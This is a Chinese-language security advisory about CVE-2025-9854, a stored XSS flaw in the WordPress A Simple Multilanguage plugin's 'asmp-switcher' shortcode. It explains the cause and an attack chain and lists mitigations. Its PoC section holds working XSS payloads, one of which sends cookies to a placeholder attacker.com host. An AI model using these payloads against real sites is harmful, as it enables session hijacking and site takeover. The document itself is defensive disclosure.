IPBUF安全漏洞报告
English
CVE-2025-9854 CVSS 6.4 中危

CVE-2025-9854:WordPress A Simple Multilanguage插件存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-9854
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress A Simple Multilanguage Plugin

相关标签

XSS存储型跨站脚本Stored XSSWordPress插件漏洞A Simple Multilanguage Plugin短代码注入ShortcodeWeb安全CVE-2025

漏洞概述

CVE-2025-9854是WordPress平台上一款名为"A Simple Multilanguage Plugin"的插件中存在的存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,并于2025年10月3日公开披露。

该插件的核心功能是为WordPress网站提供多语言切换支持,允许站点管理员通过短代码(shortcode)的方式在页面中嵌入语言切换器。然而,该插件在处理用户通过短代码属性传入的参数时,未能进行充分的输入过滤和输出转义(insufficient input sanitization and output escaping),导致恶意用户可以在短代码属性中注入任意JavaScript脚本代码。

由于该漏洞属于存储型XSS,恶意脚本会被持久化保存在WordPress数据库中,每当普通用户访问包含被注入短代码的页面时,嵌入的恶意脚本将在受害者浏览器中自动执行。攻击者可以利用此漏洞窃取用户的会话Cookie、进行钓鱼攻击、劫持用户账户、植入恶意软件,甚至在管理员访问时获取网站后台控制权限。

该漏洞的CVSS 3.1评分为6.4分,属于中危级别。攻击需要认证(需要贡献者及以上权限),但无需用户交互,且影响范围已发生改变(Scope Changed),表明漏洞的影响超出了插件本身的权限范围。

技术细节

该漏洞存在于A Simple Multilanguage Plugin插件的'asmp-switcher'短代码处理逻辑中。WordPress短代码机制允许用户在文章、页面或自定义内容中通过[shortcode_name attr1="value1" attr2="value2"]的形式嵌入动态内容。

漏洞的根本原因在于插件开发者未对短代码属性值进行以下两个关键的安全处理:

1. **输入过滤不足(Insufficient Input Sanitization)**:插件未对用户通过短代码属性传入的字符串进行HTML标签和JavaScript代码的过滤与验证。攻击者可以传入包含<script>标签、事件处理器(如onerror、onload、onmouseover等)或其他恶意HTML元素的字符串作为属性值。

2. **输出转义缺失(Missing Output Escaping)**:即使在处理阶段未做过滤,如果在最终渲染输出时使用适当的转义函数(如esc_html、esc_attr、esc_url等),也能有效阻止XSS攻击。但该插件直接将用户输入的属性值输出到HTML页面中,未进行任何转义处理。

利用方式方面,攻击者需要首先获取WordPress网站的贡献者(Contributor)级别或以上权限(这通常可以通过开放注册或社工手段获得)。随后,攻击者创建一篇新的文章或页面,在内容中插入类似以下的恶意短代码:

[asmp-switcher label=""><script>alert(document.cookie)</script]

当该文章被发布后,恶意脚本将存储在WordPress数据库中。每当任何用户(包括管理员)访问该页面时,浏览器将执行嵌入的JavaScript代码,从而实现Cookie窃取、会话劫持或其他恶意操作。由于漏洞的影响范围已改变(Scope: Changed),低权限用户(贡献者)可以利用此漏洞对更高权限的用户(如管理员)发动攻击。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者通过开放注册、购买凭证或社工等方式获取目标WordPress网站的贡献者(Contributor)级别或以上账户权限。
STEP 2
步骤2:构造恶意短代码
攻击者创建新的文章或页面,在内容编辑器中插入包含恶意JavaScript代码的'asmp-switcher'短代码,利用插件未对短代码属性进行过滤和转义的缺陷。
STEP 3
步骤3:发布并存储恶意内容
攻击者将包含恶意短代码的文章发布,恶意脚本被持久化存储到WordPress数据库中。
STEP 4
步骤4:等待受害者访问
当任何用户(尤其是具有管理员权限的用户)访问包含恶意短代码的页面时,浏览器解析并执行嵌入的JavaScript代码。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、进行钓鱼、劫持账户,或利用管理员权限进一步控制网站。
STEP 6
步骤6:权限提升与持久化
攻击者利用窃取的管理员会话创建后门账户、修改网站配置或植入Web Shell,实现对网站的长期控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-9854 Stored XSS via 'asmp-switcher' shortcode in A Simple Multilanguage Plugin Requires: Contributor-level access or above --> <!-- Step 1: Attacker logs in as a Contributor --> <!-- Step 2: Create a new Post or Page --> <!-- Step 3: Insert the following malicious shortcode in the content area --> [asmp-switcher label=""><img src=x onerror=alert(document.cookie)>" lang="en"] <!-- Alternative payloads --> <!-- Payload 1: Cookie stealing --> [asmp-switcher label="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" lang="en"] <!-- Payload 2: Using event handler on an attribute --> [asmp-switcher label="Click Me" lang="en" onmouseover="alert('XSS')"] <!-- Payload 3: Using SVG-based XSS --> [asmp-switcher label="<svg onload=alert(1)>" lang="en"] <!-- Step 4: Publish the post/page Step 5: When any user (especially admin) visits the page, the malicious JavaScript executes in their browser context, leading to cookie theft, session hijacking, or privilege escalation. -->

影响范围

A Simple Multilanguage Plugin for WordPress <= 1.0

防御指南

临时缓解措施
在官方发布安全补丁之前,建议采取以下临时缓解措施:1)立即禁用A Simple Multilanguage Plugin以彻底消除漏洞利用面;2)如必须使用该插件,应暂时将所有用户权限降至订阅者(Subscriber)级别,禁止贡献者及以上权限的用户发布内容;3)使用Wordfence等安全插件启用XSS防护规则,对包含可疑短代码属性的内容进行拦截;4)定期审查网站内容,搜索包含可疑JavaScript代码或HTML标签的文章并及时清理;5)密切监控管理员账户的登录和操作日志,发现异常立即重置密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表